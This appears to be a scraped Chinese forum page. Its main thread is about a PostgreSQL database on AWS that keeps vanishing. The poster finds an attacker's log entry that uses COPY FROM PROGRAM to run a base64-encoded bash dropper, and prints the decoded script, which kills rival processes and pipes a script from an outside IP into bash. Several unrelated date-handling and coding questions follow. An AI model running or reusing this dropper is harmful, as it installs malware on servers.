8wDlpd.png
8wDFp9.png
8wDEOx.png
8wDMfH.png
8wDKte.png

Postgresql AWS 上缺少用户数据库?

Jim Rogers 2月前

97 0

为什么我的测试用户数据库经常丢失?我会让我的 AWS 实例在夜间停止运行,然后在早上重新启动它。但是我无法使用我的 jdtest 用户帐户登录!我不断收到

为什么我的测试用户数据库经常丢失?

我会让 AWS 实例停止一夜,然后在早上重新启动它。但是,我无法使用我的 jdtest 用户帐户登录!

我的系统日志中不断出现以下内容

/var/lib/postgresql/log/postgresql-16-main.log

 LOG:  starting PostgreSQL 16.3 (Ubuntu 16.3-0ubuntu0.24.04.1) on x86_64-pc-linux-gnu, compiled by gcc (Ubuntu 13.2.0-23ubuntu4) 13.2.0, 64-bit
 LOG:  listening on IPv4 address "0.0.0.0", port 5432
 LOG:  listening on IPv6 address "::", port 5432
 LOG:  listening on Unix socket "/var/run/postgresql/.s.PGSQL.5432"
 LOG:  database system was shut down at 2024-06-06 15:42:30 UTC
 LOG:  database system is ready to accept connections
 jdtest@jdtest FATAL:  database "jdtest" does not exist
 jdtest@jdtest FATAL:  database "jdtest" does not exist

我能解决这个问题的唯一方法是重新发布:

CREATE USER jdtest createdb login PASSWORD 'jdtest' ;
CREATE DATABASE jdtest owner jdtest;
GRANT ALL PRIVILEGES ON DATABASE jdtest TO jdtest;

但同样的问题不断发生。:-(

默认 AWS 实例中是否存在某种非永久性,而我作为新手却没有注意到?我是否应该创建某种(更永久的??)AWS 数据存储和关联的 postgres tbs?

笔记:

  • 问题在夜间发生。我不确定是否有必要关闭实例来重现该问题。
  • 已安装的 postgresql 包是 AWS Ubuntu 实例自带的默认包。
  • 我没有使用 AWS RDS。
  • 日志中 DROP DATABASE 没有
  • 整个实例和其所有内容都只是用于学习目的的测试设置。
帖子版权声明 1、本帖标题:Postgresql AWS 上缺少用户数据库?
    本站网址:http://xjnalaquan.com/
2、本网站的资源部分来源于网络,如有侵权,请联系站长进行删除处理。
3、会员发帖仅代表会员个人观点,并不代表本站赞同其观点和对其真实性负责。
4、本站一律禁止以任何方式发布或转载任何违法的相关信息,访客发现请向站长举报
5、站长邮箱:yeweds@126.com 除非注明,本帖由Jim Rogers在本站《ubuntu》版块原创发布, 转载请注明出处!
最新回复 (0)
  • 我不知道,但这是需要检查的事情。无关紧要,您是否有其他在停止/启动后仍然存在的表?如果没有,您是否有可能有一些重新创建整个数据库的启动脚本?

  • Ryuu 2月前 0 只看Ta
    引用 3

    根据上述与 jarmod 和 Klaver 的对话,我在 postgresql 系统日志中发现以下内容:

    2024-06-01 20:47:59.304 UTC [183888] pgg_superadmins@postgres STATEMENT:  DROP TABLE IF EXISTS CGTmqavu;CREATE TABLE CGTmqavu(cmd_output text);COPY CGTmqavu FROM PROGRAM 'echo IyEvYmluL2Jhc2gKcGtpbGwgLWYgenN2Ywpwa2lsbCAtZiBwZGVmZW5kZXJkCnBraWxsIC1mIHVwZGF0ZWNoZWNrZXJkCgpmdW5jdGlvbiBfX2N1cmwoKSB7CiAgcmVhZCBwcm90byBzZXJ2ZXIgcGF0aCA8PDwkKGVjaG8gJHsxLy8vLyB9KQogIERPQz0vJHtwYXRoLy8gLy99CiAgSE9TVD0ke3NlcnZlci8vOip9CiAgUE9SVD0ke3NlcnZlci8vKjp9CiAgW1sgeCIke0hPU1R9IiA9PSB4IiR7UE9SVH0iIF1dICYmIFBPUlQ9ODAKCiAgZXhlYyAzPD4vZGV2L3RjcC8ke0hPU1R9LyRQT1JUCiAgZWNobyAtZW4gIkdFVCAke0RPQ30gSFRUUC8xLjBcclxuSG9zdDogJHtIT1NUfVxyXG5cclxuIiA+JjMKICAod2hpbGUgcmVhZCBsaW5lOyBkbwogICBbWyAiJGxpbmUiID09ICQnXHInIF1dICYmIGJyZWFrCiAgZG9uZSAmJiBjYXQpIDwmMwogIGV4ZWMgMz4mLQp9CgppZiBbIC14ICIkKGNvbW1hbmQgLXYgY3VybCkiIF07IHRoZW4KICBjdXJsIDc4LjE1My4xNDAuOTYvcGcuc2h8YmFzaAplbGlmIFsgLXggIiQoY29tbWFuZCAtdiB3Z2V0KSIgXTsgdGhlbgogIHdnZXQgLXEgLU8tIDc4LjE1My4xNDAuOTYvcGcuc2h8YmFzaAplbHNlCiAgX19jdXJsIGh0dHA6Ly83OC4xNTMuMTQwLjk2L3BnMi5zaHxiYXNoCmZp|base64 -d|bash';SELECT * FROM CGTmqavu;DROP TABLE IF EXISTS CGTmqavu;
    

    我相信我已经被黑了。我采纳了 jarmod 的建议:

    ubuntu@ip-69-31-71-83:~$ echo IyEvYmluL2Jhc2gKcGtpbGwgLWYgenN2Ywpwa2lsbCAtZiBwZGVmZW5kZXJkCnBraWxsIC1mIHVwZGF0ZWNoZWNrZXJkCgpmdW5jdGlvbiBfX2N1cmwoKSB7CiAgcmVhZCBwcm90byBzZXJ2ZXIgcGF0aCA8PDwkKGVjaG8gJHsxLy8vLyB9KQogIERPQz0vJHtwYXRoLy8gLy99CiAgSE9TVD0ke3NlcnZlci8vOip9CiAgUE9SVD0ke3NlcnZlci8vKjp9CiAgW1sgeCIke0hPU1R9IiA9PSB4IiR7UE9SVH0iIF1dICYmIFBPUlQ9ODAKCiAgZXhlYyAzPD4vZGV2L3RjcC8ke0hPU1R9LyRQT1JUCiAgZWNobyAtZW4gIkdFVCAke0RPQ30gSFRUUC8xLjBcclxuSG9zdDogJHtIT1NUfVxyXG5cclxuIiA+JjMKICAod2hpbGUgcmVhZCBsaW5lOyBkbwogICBbWyAiJGxpbmUiID09ICQnXHInIF1dICYmIGJyZWFrCiAgZG9uZSAmJiBjYXQpIDwmMwogIGV4ZWMgMz4mLQp9CgppZiBbIC14ICIkKGNvbW1hbmQgLXYgY3VybCkiIF07IHRoZW4KICBjdXJsIDc4LjE1My4xNDAuOTYvcGcuc2h8YmFzaAplbGlmIFsgLXggIiQoY29tbWFuZCAtdiB3Z2V0KSIgXTsgdGhlbgogIHdnZXQgLXEgLU8tIDc4LjE1My4xNDAuOTYvcGcuc2h8YmFzaAplbHNlCiAgX19jdXJsIGh0dHA6Ly83OC4xNTMuMTQwLjk2L3BnMi5zaHxiYXNoCmZp|base64 -d
    
    #!/bin/bash
    pkill -f zsvc
    pkill -f pdefenderd
    pkill -f updatecheckerd
    
    function __curl() {
      read proto server path <<<$(echo ${1//// })
      DOC=/${path// //}
      HOST=${server//:*}
      PORT=${server//*:}
      [[ x"${HOST}" == x"${PORT}" ]] && PORT=80
    
      exec 3<>/dev/tcp/${HOST}/$PORT
      echo -en "GET ${DOC} HTTP/1.0\r\nHost: ${HOST}\r\n\r\n" >&3
      (while read line; do
       [[ "$line" == $'\r' ]] && break
      done && cat) <&3
      exec 3>&-
    }
    
    if [ -x "$(command -v curl)" ]; then
      curl 78.153.140.96/pg.sh|bash
    elif [ -x "$(command -v wget)" ]; then
      wget -q -O- 78.153.140.96/pg.sh|bash
    else
    

    我将重建实例并限制其安全组以防止整个互联网的访问。

    https://askto.pro/question/how-to-make-postgresql-work-with-telegram-bot#

    https://cujo.com/blog/iot-malware-journals-prometei-linux/

  • 有人能告诉我应该在 Elastic 搜索索引中插入日期时间字段的正确映射格式吗?这样我就可以使用日期时间字段来过滤 Kibana 中的数据……

    有人能告诉我应该在 Elastic 搜索索引中插入日期时间字段的正确映射格式吗?这样我就可以使用日期时间字段来过滤 Kibana Canvas 中的数据

    在 Kibana Canvas 中尝试使用 yyyy-MM-dd HH:mm:ss 格式的日期时间字段进行数据过滤,它可以正常工作,但是当更改为 2024-05-06T11:45:00Z 格式时,过滤无法按预期工作。

  • 经过整整两天的寻找答案,我决定问一下!;)我从各种“堆栈溢出”来源中拼凑了一个脚本,该脚本将从多文件压缩中提取特定的 csv 文件

    经过整整两天寻找答案之后,我决定提问!;)

    我从各种“stack overflow”来源拼凑了一个脚本,该脚本每天将来自 gmail 的多文件压缩附件中的特定 csv 文件拉入 gsheets。

    问题:

    1. p4

    2. p5

    除了创建一个脚本,要求我运行 12 次不同的时间以便将所有 12 个压缩文件收集到各自的选项卡上之外,我还能做什么?

    这是脚本的副本。问题出现在“步骤 4:解析 CSV 数据”中。

    function NewBNP() {
    
    var ss = SpreadsheetApp.getActive()
    var spreadsheet = SpreadsheetApp.getActive();
    spreadsheet.setActiveSheet(spreadsheet.getSheetByName('RawBNP'), true);
    var cell = spreadsheet.getRange('A1')
    var cellContent = cell.getValue()
    
    if(cellContent === 'RUN') 
    
    
    {
    
    //Step1: GET MOST RECENT MESSAGE BY LABEL
    var threads = GmailApp.search("Standard - CFL REP001");
    var message = threads[0].getMessages();
    message = message[message.length - 1];
    var attachments = message.getAttachments();
    
    Logger.log("Message Found");
    var attachments = message.getAttachments();
    for (var i = 0; i < attachments.length; i++) {
    var attachment = attachments[i];
    }
    Logger.log("Attachement Stored");
    
    
    //Step 2: FIND SPREADHSEET
    var ss = SpreadsheetApp.openById ("16xx4y899tRWNfCZIARw4wDmuqUcMtjB2ZZlznjaeaUc");
    Logger.log("Sheet Opened");
    
    //Step 3: FIND SHEET INSIDE SPREADHSEET
    var sheetName = ss.getSheetByName("RawBNP");
    Logger.log("Tab Found");
    
    
    //Step 4: PARSE CSV DATA
    var blobs = Utilities.unzip(attachment.setContentType(MimeType.ZIP)); 
    if (blobs.length <= 1) {
    throw new Error("Multiple files cannot be found.");
    }
    var csvFileOf11thFile = blobs[11];
    
    var csvData = Utilities.parseCsv(csvFileOf11thFile.getDataAsString('ISO-8859-1'), ",");
    Logger.log("CSV data loaded");
    
    
    //Step 5: SINSERT DATA AKA .getRange(row, column, lastrow based on CSV data);
    sheetName.getRange(3, 2, csvData.length,csvData[0].length).setValues(csvData);
    Logger.log("Data pasted");
    
    
    }
    }
    
  • 我会找到一种最简单的解决方案,即通过 php 函数直接翻译日期(不使用 str_replace、日期名称数组和 mktime。目前我使用日期名称表并用数字替换日期...

    我会找到一种最简单的解决方案,即通过 php 函数直接翻译日期(不使用 str_replace、日期名称数组和 mktime)。

    目前我使用日期名称表并用表的值替换数字日期。

    在这个例子中,我检索了月份名称。

    setlocale(LC_TIME, 'fr_FR');
    date_default_timezone_set('Europe/Paris');
    for ($x = $currentMonth; $x < $currentMonth + 12; $x++) {
        $months[] = date('Y-F-m', mktime(0, 0, 0, $x, 1));
    }
    $FrenchMonth = array('Janvier','Février','Mars','Avril','Mai','Juin','Juillet','Août','Septembre','Octobre','Novembre','Décembre');
    $EnglishMonth = array('January', 'February', 'March', 'April', 'May', 'June', 'July', 'August', 'September', 'October', 'November', 'December');
    

    之后我将每个月(\'F\'日期格式)转换为我的当地语言

    $twelvemonthsdata = explode('-',$months[$i]);
    $twelvemonthsM = $twelvemonthsdata[1];
    $twelveFormatMonth = 'F';
    $twelvemonthinfrench = str_replace( $EnglishMonth,$FrenchMonth, date($twelveFormatMonth, strtotime($twelvemonthsM)));
    

    并使用 strtotime() DateTime() 之外,我找不到任何其他方法 intldateformatter() .

    $currentMonth =  Date('m');
    
    for ($x = $currentMonth; $x < $currentMonth + 12; $x++) {
        $eachmonth = strtotime(Date('Y-F-m', mktime(0, 0, 0, $x, 1)));
    
        $tweelvemonths = new DateTime();
        $tweelvemonths->setTimestamp($eachmonth);
    
        $tweelvemonths_formatter = new IntlDateFormatter('fr_FR');
        $tweelvemonths_formatter->setTimeZone('Europe/Paris');
        $tweelvemonths_formatter->setPattern('y-MMMM-MM');
        
        $tweelvemonths_formated = $tweelvemonths_formatter->format($tweelvemonths);
        var_dump($tweelvemonths_formated);
    }
    

    是否有更简单或更短的方法使用或不使用 strtotime 和/或 mtkime 来使用当地语言从当前月份生成未来 12 个月?

  • “新”方法有什么问题吗?我认为它比旧方法更好,因为您不再依赖每个月名称的静态字符串。引入新语言就像更改语言环境一样简单(只要在系统上安装了它)

  • 我试图简单地解析日期时间字符串,如 \'2024-3-3 16:00\',并执行一些其他计算,如 addHour 并执行一些条件。问题是,当我尝试解析 2024-3-3 16...

    我正在尝试简单地解析日期时间字符串,例如 \'2024-3-3 16:00\',并执行一些其他计算,例如 addHour 并执行一些条件。问题是,当我尝试解析 2024-3-3 16:00 并返回它时,它返回 2024-3-3 14:00 。我不明白这是怎么可能的。我的时区 config/app.php 设置为 Africa/Cairo 。我的理解是,它采用 UTC 中的这个日期时间并将其转换为配置时区。即使我明确地给它一个时区 Carbon::parse('2024-3-3 16:00', 'Europe/London') ,它也会返回相同的内容。有人可以解释一下发生了什么吗?

    编辑 此代码位于 user.php 中的 routes 文件夹中,我创建了一个名为 /run 的测试路由。我尝试在 blade 中使用 Carbon::parse(...),效果很好。

    class TestController extends Controller
    {
        public function index() {
            return Carbon::parse('2024-3-3 16:00');
        }
    }
    

    输出

    "2024-03-03T14:00:00.000000Z"

  • 我的代码没有问题,但我本以为在 2024 年和新版本的 PHP 中,会有一些比首先使用当前 12 个月生成接下来的 12 个月更短的代码

  • 我不明白对空值处理方式的改变与这一切有什么关系;无论如何,PHP 8 仍然接受它,它只是警告你 PHP 9 不会接受。第一段代码中有一个拼写错误(

  • 它可以工作,但我需要它是一个碳物体,这样我才能对它进行计算和条件分析@Olivier

  • Vin 2月前 0 只看Ta
    引用 12

    我分享我自己的答案。

    因此,无需使用 date() mtkime() 我就可以检索当前月份的十二个月。

    为此,我们需要在循环之前实例化 dateTime,并从 1 个月递减到当前月份,而不是由 DateTime \'modify\' 属性生成的下一个月份 $test->modify('+1 month') .

    对于每个循环,我们将 DateTime 增加 +1 个月。

    intlDateFormatter 负责格式化日期并进行翻译

    参考: DateTime 的 按天评级

    $now = Date('m');
    $test = new DateTime('now - 1 month');
    // or new DateTime('first day of this month - 1 month'); 
    // it depends on whether you also manage the day
    
    for ($x = $now ; $x < $now + 12 ; $x++) {
       $test->modify('+1 month');
       $use_formatter = new IntlDateFormatter('fr_FR');
       $use_formatter->setTimeZone('Europe/Paris');
       $use_formatter->setPattern('y-MMMM-MM');
       $formated = $use_formatter->format($test);
       var_dump($formated);
    }
    
  • 添加 $ic = IntlCalendar::createInstance('UTC'); $ic->setMinimalDaysInFirstWeek(4); $ic->setFirstDayOfWeek(IntlCalendar::DOW_MONDAY); $use_formatter->setCalendar($ic) 以启用基于 ISO 8601 的星期几和周数。

  • 引用 14

    所以它以 utc 表示,我不希望它以 UTC 表示,我希望它以给定的时区表示,例如

  • Joud 2月前 0 只看Ta
    引用 15

    答案很简单,我觉得自己很蠢。我只需要输入 UTC 的日期时间

    Carbon::parse('2024-3-3 16:00', 'UTC')

  • 我想将大型 JSON 文件转换为 CSV。这些文件有多个 JSON 对象并且可以嵌套。这些文件很大(1 到 10 GB),因此无法将它们加载到内存中。此外,f...

    我想将大型 JSON 文件转换为 CSV。这些文件有多个 JSON 对象并且可以嵌套。这些文件很大(1 到 10 GB),因此无法将它们加载到内存中。此外,这些文件具有不同的架构,因此 CSV 的结构可能会有所不同。

    一种选择是使用 Jackson 的流 API 迭代文件,获取定义 csv 结构需要创建的所有字段,然后使用命令 jq 将其转换为 csv。有没有更好的方法可以做到这一点?

  • 引用 17

    我正在开发一个 Django 项目,我想添加一个供本地使用的日期格式。根据文档,我已更新设置以使用本地日期时间格式:LinkSettings 如下:

    我正在开发一个 Django 项目,我想添加一个供本地使用的日期格式。根据文档,我已更新设置以使用本地日期时间格式: 链接

    设置如下:

    
    DATE_INPUT_FORMATS = [
        "%Y-%m-%d",
        "%m/%d/%Y",
        "%m/%d/%y",
        "%b %d %Y",
        "%b %d, %Y",
        "%d %b %Y",
        "%d %b, %Y",
        "%B %d %Y",
        "%B %d, %Y",
        "%d %B %Y",
        "%d %B, %Y",
        '%d-%m-%Y',
        '%d/%m/%Y'
    ]
    DATETIME_INPUT_FORMATS = [
        "%Y-%m-%d %H:%M:%S",
        "%Y-%m-%d %H:%M:%S.%f",
        "%Y-%m-%d %H:%M",
        "%m/%d/%Y %H:%M:%S",
        "%m/%d/%Y %H:%M:%S.%f",
        "%m/%d/%Y %H:%M",
        "%m/%d/%y %H:%M:%S",
        "%m/%d/%y %H:%M:%S.%f",
        "%m/%d/%y %H:%M",
        '%d-%m-%Y %H:%M:%S',
        '%d/%m/%Y %H:%M:%S'
    ]
    

    但是对于表单字段,它仍然使用默认的日期时间格式,而不是采用设置文件中添加的日期时间格式。

    在我的表单中,表单抛出验证错误,提示“请输入有效的日期/时间”

    class CDetailsForm(forms.ModelForm):
     class Meta:
            model = CDetails
            fields = ('c_date',)
            widgets = {
                'c_date': forms.DateTimeInput(
                    attrs={'class': 'datetimepicker-input datetime_stamp form-control', 'readonly': 'readonly'}),
            }
    
        def is_valid(self):
            import pdb
            pdb.set_trace()
            result = super(CDetailsForm, self).is_valid()
            return result
    
    

    DateTimeInput 小部件代码表示它引用 DATETIME_INPUT_FORMATS 设置

    class DateTimeInput(DateTimeBaseInput):
        format_key = 'DATETIME_INPUT_FORMATS'
        template_name = 'django/forms/widgets/datetime.html'
    
    

    但在表单字段验证中,设置被完全忽略

    > <project>/env/lib/python3.9/site-packages/django/forms/fields.py(384)to_python()
    -> for format in self.input_formats:
    (Pdb) self.input_formats
    ['%Y-%m-%d %H:%M:%S', '%Y-%m-%d %H:%M:%S.%f', '%Y-%m-%d %H:%M', '%Y-%m-%d', '%m/%d/%Y %H:%M:%S', '%m/%d/%Y %H:%M:%S.%f', '%m/%d/%Y %H:%M', '%m/%d/%Y', '%m/%d/%y %H:%M:%S', '%m/%d/%y %H:%M:%S.%f', '%m/%d/%y %H:%M', '%m/%d/%y']
    (Pdb) self
    <django.forms.fields.DateTimeField object at 0x128049c10>
    (Pdb) value
    '19-03-2024 17:25:17'
    (Pdb) 
    
    

    期待建议或反馈。

  • @willeM_VanOnsem 我的问题与验证有关。表单渲染已在前端解决。从前端,我得到了 \'19-03-2024 17:25:17\'。那么,当表单验证时,它不应该验证保留全局设置吗?对于我们的案例日期时间输入格式?

  • 我想用 make_subplots 绘制两个时间不同的图。我该怎么做?fig = make_subplots(rows=2, cols=1,row_heights=[0.5, 0.5], shared_xaxes=True)fig.add_trace(go.Candlestick(x...

    我想绘制两个 make_subplots 不同时间的图。我该怎么做?

    fig = make_subplots(rows=2, cols=1,row_heights=[0.5, 0.5], shared_xaxes=True)
    
    fig.add_trace(go.Candlestick(x=dfpl.index, open=dfpl['open'], high=dfpl['high'], low=dfpl['low'], close=dfpl['close']), row=1, col=1)
    fig.add_trace(go.Candlestick(x=dfDiv.index, open=dfDiv['open'], high=dfDiv['high'], low=dfDiv['low'], close=dfDiv['close']), row=2, col=1)
    

    我的指标不同 datetime ,图表如下:

    plot

  • Pops 2月前 0 只看Ta
    引用 20

    发布的代码是一个子图,所附图表是一个没有匹配内容的单个图表。我不知道您的数据到底是什么,但我的理解是您想基于两个数据框绘制一个子图并更改 x 轴时间序列的显示单位。您可以使用 dtick 更改显示单位。有关 x 轴时间序列的更多信息,请参见 此处 有关更多信息, 请参见 此处

    import yfinance as yf
    from plotly.subplots import make_subplots
    import plotly.graph_objects as go
    import datetime
    
    dfaapl = yf.download("AAPL", start="2021-01-01", end="2024-01-01")
    dfgoog = yf.download("GOOG", start="2021-01-01", end="2024-01-01")
    
    fig = make_subplots(rows=2, cols=1,
                        row_heights=[0.45, 0.45],
                        vertical_spacing=0.4,
                        shared_xaxes=False)
    
    fig.add_trace(go.Candlestick(x=dfaapl.index,
                                 open=dfaapl['Open'],
                                 high=dfaapl['High'],
                                 low=dfaapl['Low'],
                                 close=dfaapl['Close'],
                                 name='AAPL'), row=1, col=1)
    fig.add_trace(go.Candlestick(x=dfgoog.index,
                                 open=dfgoog['Open'],
                                 high=dfgoog['High'],
                                 low=dfgoog['Low'],
                                 close=dfgoog['Close'],
                                 name='GOOG'), row=2, col=1)
    fig.update_layout(height=450, margin=dict(t=20,b=0,l=0,r=0))
    fig.update_xaxes(dtick='M3',tickformat="%b\n%Y", row=1,col=1)
    fig.update_xaxes(range=[datetime.datetime(2022, 1, 1), datetime.datetime(2023, 12, 31)],
                     tickformat="%m\n%Y", row=2,col=1)
    
    fig.show()
    

    enter image description here

返回
作者最近主题: